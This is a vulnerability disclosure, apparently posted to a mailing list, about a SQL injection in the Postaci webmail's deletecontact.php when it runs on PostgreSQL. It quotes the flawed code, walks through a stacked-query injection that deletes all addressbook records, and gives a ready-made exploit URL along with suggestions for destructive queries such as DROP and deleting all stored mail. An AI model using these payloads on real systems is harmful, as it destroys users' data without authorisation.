Popular webmail software Postaci (ships with Debian) lacks of checking

for malicious SQL code in variables coming from user while deleting

addressbook contacts, bookmarks and notes.

This gives opportunity to malicious user to execute arbitrary

SQL query.



The problem affects Postaci if using PostgreSQL as your database

backend. MySQL seems to bo not affected by this way.

PHP's mysql_query() function code does NOT allow query strings

including a semicolon inside, for passing multi queries.

The method illustrated here uses query seperating with a

semicolon, but someone can find a suitable malicious SQL code

to also exploit Postaci while using MySQL as the db backend.



The main problem is not just with Postaci, it's with the general manner

of PHP coding exercises. Both in POST and GET methods, PHP sets the

remote variable name to a global variable with the same name in the

executing PHP script (defined in the "action" field of HTML form).



If you have a    line in your HTML form;

after submission, you'll be available to reach its set value

with the variable named "$foo" in your PHP script.



Trusting the user input in this era is just the big problem.

For example :

While expecting an integer type content for $foo, user can input

a malicious string that can cause compromise of your SQL query.



Let's focus to Postaci code.



--- deletecontact.php ---



1    // security check

2    $dbq = $db->execute("select user_id from tblAdressbook where

item_id=$item_id");

3    $auth_user = $dbq->fields['user_id'];

4    if ($auth_user != $user_id) {

5      Header("Location: index.php?error_id=1");

6    }

7    $dbq->close();



--- deletecontact.php ---



In the relatively numbered line 1, we see a magical comment :

"// security check".

This security check is really needed but not enough unfortunately.

Lines 2,3,4,5 ensures that, anyone who is not the owner of the

contact item, can not delete it.

Up to here, everything is O.K. but the implicit trust to user input.

As seen from the code snippet, variable $item_id is never checked. It

must be an integer naturally bu as we discussed above, it's a user

input and it can be everything.

Suppose that variable "$item_id" includes the string

"144 OR TRUE; select user_id from tblAdressbook where item_id=144"



144 is a real contact item id associated with the current logged in user.



The SQL Query :



"select user_id from tblAdressbook where item_id=144 OR TRUE; \

 select user_id from tblAdressbook where item_id=144"

... will return all the user_id's also ours at the top row of the result.

At line 3, "$dbq->fields['user_id']" just points to the "user_id" column

of first row of the returned result.

      So we managed to pass the first security barrier.



Let's look at the code comes after :



--- deletecontact.php ---



8      if ($log_id == ""){

9        Header("Location: index.php?error_id=1");

10     } else {

11

12       $dbq = $db->execute("delete from tblAdressbook where item_id=\

13                      $item_id and user_id = $user_id");

14       $dbq->close();

15

16       Header("Location: adressbook.php");

17     }



--- deletecontact.php ---



At line 12, Postaci still trusts the user input and puts it into the

deleting query. Flashback to our malicious $item_id variable :

   "144 OR TRUE; select user_id from tblAdressbook where item_id=144"



Then the composed query becomes :



"delete from tblAdressbook where item_id=144 OR TRUE; select user_id \

 from tblAdressbook where item_id=144 and user_id = [your user id]"



In here. PHP code of mysql_query won't let you pass a query string

including a semicolon but this doesn't apply for Postgresql

(and maybe for MS SQL, Sybase, msql).



When we focus to the first query in the query string,

we can clearly see that, it will delete all the records in the table.

Voila ! We're done.



--

For the {lamer | impatient | lazy |etc...}



http://a.postaci.running.host/deletecontact.php?item_id=[legitimate_item

_id]+OR+TRUE+;+SELECT+item_id+FROM+tblAdressbook+WHERE+item_id=[some id]

--



IMPORTANT !:

Here we used "SELECT item_id from tblAdressbook WHERE item_id=[some id]"

as the second query. Of course it can be more dangerous.

It can be "DROP [some data base]"  if the current SQL user have rights

to do so. Or it can simply delete something

"DELETE from tblMessages"  will delete all the saved incoming

mail messages and it can be really painful. Or it can

add any records to any table (owned by postaci db user).

Variations can be incremented...





Closing words :

--------------

Thanks to Umut Gokbayrak for creating such a good webmail

interface for us (Turkish OpenSource Community). I'm sure

he'll make a patch available for this issue A.S.A.P.



Thanks to Selami Aksoy for letting me to use his production

machines for testing (installing new packages, testing PHP codes,

screwing up the total system :))



        About Postaci :

        ---------------

        Postaci (Turkish word for Postman) is a multiplatform GPL' ed 

webmail

        software which is database independent (MySQL, mSQL,PostgreSQL,

        Sybase, MS SQL), multilanguage(Turkish, English...), POP3/IMAP

        and fully MIME compatible. While using POP3 mode to fetch 

messages

        it uses database fields to simulate IMAP folders, on which you 

can

        save, move, delete,read e-mail.





Regards,



Berk Demir

Association of Turkish Linux Users

L K D

http://www.linux.org.tr